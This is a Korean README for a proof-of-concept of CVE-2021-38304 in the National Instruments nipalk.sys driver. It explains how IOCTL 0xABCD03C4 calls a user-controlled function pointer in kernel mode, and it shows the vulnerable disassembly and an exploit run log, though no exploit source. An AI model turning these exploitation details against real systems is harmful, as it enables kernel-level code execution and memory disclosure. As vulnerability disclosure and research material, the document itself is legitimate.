
CVE-2021-38304 개념 증명
이 저장소는 오래된 버전의 National Instruments nipalk.sys 드라이버에 존재하는 심각한 보안 취약점에 대한 개념 증명(PoC)을 포함하고 있습니다. 이 취약점을 통해 커널 모드에서 임의 코드 실행 및 메모리 노출이 가능합니다. 본 자료는 개인 연구 목적으로만 제공됩니다.
nipalk.sys 드라이버는 특정 IOCTL 요청을 처리하는 과정에서 사용자가 제공한 포인터를 부적절하게 처리합니다. 이 결함으로 인해 공격자가 드라이버가 커널 컨텍스트에서 제어된 매개변수로 호출할 함수 포인터를 제공할 수 있게 됩니다.
RCX 및 RDX 레지스터를 제어할 수 있습니다.RtlCopyMemory와 같은 함수를 호출하여 커널 메모리 임의 읽기가 가능합니다.이 취약점은 드라이버가 사용자 모드 애플리케이션에서 제공하는 포인터를 검증하지 못하는 데서 비롯됩니다. IOCTL 0xABCD03C4를 처리하는 동안 드라이버는 사용자 제어 구조체에서 함수 포인터를 가져와 적절한 검사 없이 호출합니다:
0045561e 48 8b 01 MOV RAX,qword ptr [param_1]
00455621 49 8b 52 18 MOV irp,qword ptr [R10 + 0x18]
00455625 ff 50 08 CALL qword ptr [RAX + 0x8]
[RAX + 8]에 있는 함수 포인터는 커널 컨텍스트에서 실행됩니다.RCX 및 RDX 매개변수는 사용자에 의해 제어됩니다.[+] Starting exploit
[+] Memory allocated
[+] Values before IOCTL:
exploit->dummy: 00000000001b0000
exploit->function_pointer: fffff8017ea21300
[+] Device opened successfully
[+] Sending IOCTL
[+] Values after IOCTL:
exploit->dummy: 7208f88349c18b48
exploit->function_pointer: ffff7710f8834937
[+] DeviceIoControl succeeded. Bytes returned: 8
[+] Buffer Output: 1769472
[!] WARNING: exploit->dummy has changed!
[!] WARNING: exploit->function_pointer has changed!
[+] Exploit finished
이 PoC는 교육 목적으로만 제공됩니다.